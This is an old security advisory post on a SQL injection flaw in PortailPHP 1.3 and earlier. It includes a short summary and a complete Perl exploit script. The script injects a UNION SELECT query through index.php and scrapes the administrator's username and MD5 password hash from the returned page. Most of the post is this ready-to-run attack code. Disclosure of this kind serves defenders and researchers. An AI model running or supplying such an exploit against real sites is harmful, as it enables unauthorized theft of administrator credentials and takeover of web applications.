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[EXPL] PortailPHP SQL Injection (Exploit)

Subject: [EXPL] PortailPHP SQL Injection (Exploit)
Date: 12 Jun 2005 13:28:10 +0200
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  PortailPHP SQL Injection (Exploit)
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SUMMARY

 <http://www.safari-msi.com/portailphp/> PortailPHP is - "A project of CMS 
gate wrote entirely in PHP and lunched by Yoopla.Net (CMS means Content 
Management System). It is intended to function with MySql. PortailPHP is 
an ideal tool to conceive dynamic sites quickly."

A vulnerability in PortailPHP allows remote attackers to cause the program 
to insert arbitrary SQL statements into the statements used by the 
product. The following exploit code will utilize the gindex.php script to 
retrieve the administrator's hashed password.

DETAILS

Vulnerable Systems:
 * Portail PHP version 1.3 and prior.

Exploit:
#!/usr/bin/perl -w
#
# SQL Injection Exploit for Portail PHP < 1.3
# This exploit show the username of the administrator of the portal and 
his password crypted in MD5
# Coded by Alberto Trivero

use LWP::Simple;

print "\n\t=================================\n";
print "\t= Exploit for Portail PHP < 1.3 =\n";
print "\t= Alberto Trivero - codebug.org =\n";
print "\t=================================\n\n";

if(!$ARGV[0] or !($ARGV[0]=~m/http/)) {
   print "Usage:\nperl $0 [full_target_path]\n\n";
   print "Examples:\nperl $0 http://www.example.com/portailphp/\n";;
   exit(0);
}

$url=q[index.php?affiche=Liens&id=1 UNION SELECT 
null,null,null,null,null,null,US_pwd,US_nom,null FROM pphp_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/0000-00-00, 0  \)<\/i>     <br><br><br><br><\/td>   <\/tr>   <tr> 
    <td width='100%'>(.*?)<\/td>   <\/tr>/ && print "[+] Username of 
administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
$page=~m/<img border='0' src='\.\/images\/ico_liens\.gif' > <b> <\/b>: 
(.*?)<\/td>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);


ADDITIONAL INFORMATION

The original article can be found at:  
<http://www.milw0rm.com/id.php?id=1031> 
http://www.milw0rm.com/id.php?id=1031



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